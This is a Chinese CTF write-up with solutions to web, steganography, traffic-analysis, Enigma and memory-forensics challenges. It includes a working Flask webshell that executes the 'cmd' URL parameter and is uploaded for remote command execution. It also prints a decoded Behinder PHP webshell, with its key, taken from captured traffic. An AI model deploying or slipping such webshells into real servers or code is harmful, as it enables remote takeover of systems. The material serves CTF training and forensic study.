打开环境发现flask开启了debug模式，并且我们能够上传文件

考点：flask在开启debug模式下，变更app.py文件会立即加载

写一个rce的app.py,然后上传

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/')
def index():
    try:
        cmd = request.args.get('cmd')
        data = os.popen(cmd).read()
        return data
    except:
        pass


    return "1"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)

Misc

R通大残

题目附件黑不拉几一看，010看不出来，修改高度也没变化

想到RGB通道的R通道隐写，stegslove查看

果然上方有藏东西

单独提取R通道所有内容，得到flag

Nmap

请给出Nmap扫描得到所有的开放端口用英文逗号分隔，端口号从小到大排列。 例如flag{21,22,80,8080} nmap.pcap

如果成功建立连接的话，服务器会发送一个synack字段

筛选一下tcp.connection.synack

flag{80,3306,5000,7000,8021,9000}

依旧是空白

给了两个附件，一个是图片，一个是txt文件

打开图片看不到什么，010查看crc报错，爆破宽高并修改

得到password:s00_b4by_f0r_y0u

这次是snow加密：

SNOW 是 the Steganographic Nature Of Whitespace 的简写。

SNOW 用于通过在行尾附加空格和制表符来隐藏 ASCII 文本中的消息，即文本隐写。由于空格和制表符在文本查看器中通常不可见，因此消息实际上对不经意的观察者隐藏。并且如果使用内置加密，即使检测到消息也无法读取。

参数	作用
-C	如果隐藏，则压缩数据，或者如果提取，则会解压缩。
-Q	静音模式。如果未设置，则程序报告统计信息，例如压缩百分比和可用存储空间的数量。
-S	报告文本文件中隐藏消息的近似空间量。考虑线长度，但忽略其他选项。
-p password	如果设置为此，则在隐藏期间将使用此密码加密数据，或在提取期间解密。
-l line-length	在附加空格时，Snow将始终产生比此值短的线条。默认情况下，它设置为80。
-f message-file	此文件的内容将隐藏在输入文本文件中。
-m message-string	此字符串的内容将被隐藏在输入文本文件中。请注意，除非在字符串中包含一个换行符，否则在提取邮件时，否则不会打印换行符。

SNOW.EXE -C -p "s00_b4by_f0r_y0u" infile outfile

查看outfile里面的内容得到

flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}

3-溯源

在调查清楚攻击者的攻击路径后你暗暗松了一口气，但是攻击者仍控制着服务器，眼下当务之急是继续深入调查攻击者对服务器进行了什么操作，同时调查清楚攻击者的身份，请你分析攻击者与WebShell通讯的流量获取攻击者获取的相关信息，目前可以得知的是攻击者使用了冰蝎进行WebShell连接。 Tip：沿着前序题目的进度分析会更符合逻辑，或许有助于解题 FLAG格式：flag{攻击者获取到的服务器用户名_服务器内网IP地址} 例如flag{web_10.0.0.3}

顺着上一道题的思路有一个Shell：wh1t3g0d.php，继续分析

http.request.uri.path contains "wh1t3g0d.php"

可以看到写了一个shell

http.request.uri contains "shell.php"

注意到file_put_contents,写入了一个1.php，base64编码了，解码得到

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

很明显的冰蝎Shell，发现后续的交互也主要是和1.php进行交互。

从这里可以得知key为e45e329feb5d925b，流量采用AES CBC 128加密，可以先把所有1.php的响应流量过滤出来：

http.response_for.uri contains "/1.php"

然后导出特定分组

mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j4WlEW7HirOWaxK0Av0Bq+B
{"status":"c3VjY2Vzcw==","msg":"d3d3LWRhdGEK"}
success
www-data
{"status":"c3VjY2Vzcw==","msg":"MTcyLjE3LjAuMgo="}
success
172.17.0.2

flag{www-data_172.17.0.2}

第一次取证

获取信息

python2 vol.py -f dycqz.raw imageinfo

查看进程

python2 vol.py -f dycqz.raw --profile=Win7SP1x64 pslist

查看notepad进程：

得到

@iH<,{BTrI;(N[`j&z+xcj9XE2!u/YbR:4gb2+ceDJs@u6P

base91解密

flag{a308067fc26625d31a421247adce3893}

Week5

Web

Misc

隐秘的图片

给了两张二维码，第一张完好的扫出来假的flag

第二张没有finder

xqr脚本跑一下

from PIL import Image

# 读取原始图片
img1 = Image.open('key1.png').convert('1')
img2 = Image.open('key2.png').convert('1')

# 调整图片尺寸
img2 = img2.resize((297,297))

# 获取图片尺寸
width, height = img1.size

# 创建新图片对象
result = Image.new('1', (width, height))

# 循环遍历像素并进行异或
for x in range(width):
    for y in range(height):
        pixel1 = img1.getpixel((x, y))
        pixel2 = img2.getpixel((x, y))
        result.putpixel((x, y), pixel1 ^ pixel2)

# 保存结果图片
result.save('result.png')

Enigma

from enigma.machine import EnigmaMachine
from secret import *

def enigma(m, _reflector, _rotors, _rs):
	machine = EnigmaMachine.from_key_sheet(
            rotors=_rotors,
            reflector=_reflector,
            ring_settings=_rs,
            plugboard_settings='')
	temp = machine.process_text(m)
	return temp.lower()

print(enigma(flag, reflector, rotors, [rs1,15,rs2]))
# uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn

其中我们未知的加密参数有reflector、rotors和rs1、rs2

大概了解一下这个类库就能知道这几个参数的取值范围，编写脚本爆破：

from enigma.machine import EnigmaMachine
reflectors = ['B-Thin', 'C-Thin']
rotors = ['I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII']
for r1, r2, r3 in [(r1, r2, r3) for r1 in rotors for r2 in rotors for r3 in rotors]: 
    for r in reflectors:        
        for a, b in [(a, b) for a in range(1, 26) for b in range(1, 26)]:            
            machine = EnigmaMachine.from_key_sheet(                
                rotors=' '.join([r1, r2, r3]),                
                reflector=r,                
                ring_settings=[a, 15, b],                
                plugboard_settings=''            
            )            
            temp = machine.process_text('uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn')            
            if temp.startswith("FLAG"):                
                print(temp, r1, r2, r3, r)                
                break
#FLAGISENIGMAISSOOOINTERESTINGCRYPTODOYOUTHINKSO II IV VII C-Thin

ezhard

┌──(kali㉿kali)-[~/Desktop]
└─$ file ezhard                
ezhard: Linux rev 1.0 ext4 filesystem data, UUID=9f3e7e9e-e08e-435c-8528-e0b6d310e3a2 (extents) (64bit) (large files) (huge files)

分析出是硬盘格式文件

挂载一下

mkdir tmp
sudo mount ezhard tmp

然后进tmp目录查看

发现hint.png打不开，查看属性发现权限不够，右键root打开

Easymem

python2 vol.py -f filename imageinfo
python2 vol.py -f filename --profile=Win7SP1x64 mimikatz
#flag{45a527fb-2f
python2 vol.py -f filename  --profile=Win7SP1x64 filescan |grep 'Desktop'
#0x000000007ed627e0     16      0 RW-r-- \Device\HarddiskVolume1\Users\ctf\Desktop\flag2.txt
python2 vol.py -f filename  --profile=Win7SP1x64 dumpfiles -Q 0x000000007ed627e0 -D /home/kali/Desktop
#83-5032-1056
python2 vol.py -f filename  --profile=Win7SP1x64 pslist
#0xfffffa801b15e5a0 mspaint.exe            1484    752      6      126      1      0 2023-10-05 08:11:25 UTC+0000
python2 vol.py -f filename  --profile=Win7SP1x64 memdump -p 1484  -D /home/kali/Desktop
导出一个dat文件后续需要GIMP工具

GIMP打开文件参数如下，需手动设置文件类型为Raw图像数据，扩展名为data

宽度为480的时候能够找到特征字符

截屏保存，利用修图工具进行垂直翻转即可